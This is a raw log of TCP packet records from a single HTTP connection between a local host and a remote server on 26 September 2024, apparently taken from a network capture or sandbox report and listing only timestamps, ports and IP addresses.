Sep 26, 2024 15:10:47.515010118 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515019894 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515033007 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515044928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515050888 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515099049 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515099049 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515177011 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515208006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515218973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515230894 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515242100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515254974 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515266895 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515270948 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515278101 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515290022 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515315056 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515336037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515400887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515410900 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515440941 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515484095 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515500069 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515512943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515525103 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515537977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515556097 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515588999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515600920 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515602112 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515614986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515645981 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515733004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515744925 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515755892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515774012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515780926 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515785933 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515815020 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515832901 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515906096 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515918016 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515932083 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515944004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515953064 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.515957117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515968084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.515979052 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516028881 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516036034 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516119957 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516132116 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516144037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516155005 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516176939 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516220093 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516263962 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516275883 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516283035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516294003 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516305923 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516314030 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516318083 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516334057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516344070 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516379118 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516379118 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516397953 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516458988 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516470909 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516482115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516493082 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516503096 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516514063 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516767025 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516798019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516849041 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516891003 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516932964 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.516951084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516963005 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516976118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.516993046 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517075062 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517086983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517097950 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517110109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517122030 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517124891 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517133951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517143965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517144918 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517159939 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517194033 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517210960 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517316103 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517329931 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517340899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517354012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517364979 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517369986 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517374992 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517376900 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517414093 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517442942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517453909 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517488956 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517837048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517848969 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517859936 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517904043 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517910957 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517921925 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517934084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517945051 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.517945051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.517982006 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.518013000 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.520889044 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.520900965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.520946026 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.520951033 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.521119118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521186113 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.521192074 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521336079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521347046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521358013 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521423101 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.521433115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521445036 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521457911 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521464109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521466970 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.521476030 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521488905 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521517038 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.521517992 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.521543980 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.555722952 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.555740118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.555752039 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.555839062 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.555839062 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.555891991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.555905104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.555917025 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.555928946 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.555942059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.555949926 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.555974007 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.600711107 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.600766897 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.600801945 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.600853920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.600889921 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.600908995 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.600923061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.600939989 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.600939989 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.600958109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.600994110 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601031065 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.601604939 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601635933 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601670027 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601701975 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.601746082 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601779938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601815939 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.601829052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601862907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601872921 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.601898909 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.601943016 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.603348970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603486061 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.603590965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603621960 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603676081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603701115 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.603734970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603769064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603780031 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.603802919 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603837967 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603872061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603882074 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.603907108 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603950977 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.603960037 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.603992939 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604047060 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604048967 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604079962 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604130983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604159117 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604165077 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604193926 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604202032 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604231119 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604249001 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604264021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604299068 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604299068 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604332924 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604366064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604378939 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604399920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604433060 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604444981 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604482889 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604517937 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604536057 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604566097 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604614019 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604621887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604672909 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604707003 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604731083 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604737997 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604779959 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604787111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604821920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604872942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604903936 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604907036 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604940891 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.604960918 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.604976892 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605010986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605046034 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605070114 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605074883 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605108023 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605130911 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605142117 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605149984 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605175972 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605211020 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605212927 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605243921 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605277061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605310917 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605345011 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605376959 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605428934 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605467081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605479956 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605518103 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605562925 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605571032 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605607033 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605634928 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605635881 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605669022 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605719090 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605720043 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605753899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605804920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605815887 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605839014 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605873108 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605899096 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605916023 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.605921984 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.605961084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606003046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606045961 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606060028 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.606080055 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606108904 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.606116056 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606148958 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606183052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606216908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606250048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606282949 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606317997 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606323004 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.606350899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606359959 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.606389999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606424093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606475115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606477022 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.606508970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606543064 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606561899 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.606575012 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606590033 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.606611013 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606652021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.606666088 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.609230995 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609282970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609333038 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609364986 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.609369993 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609402895 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609426975 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.609436989 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609447002 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.609471083 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609507084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609534025 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.609942913 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.609977961 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.610012054 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.610030890 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.610065937 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.610070944 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.610100985 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.610135078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.610169888 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.610191107 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.611093998 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.617686033 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.644655943 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.644707918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.644745111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.644777060 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.644794941 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.644818068 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.644845963 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.644851923 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.644889116 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.644917965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.644963980 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.644963980 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.689428091 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.689462900 CEST	80	49712	172.86.66.70	192.168.2.12
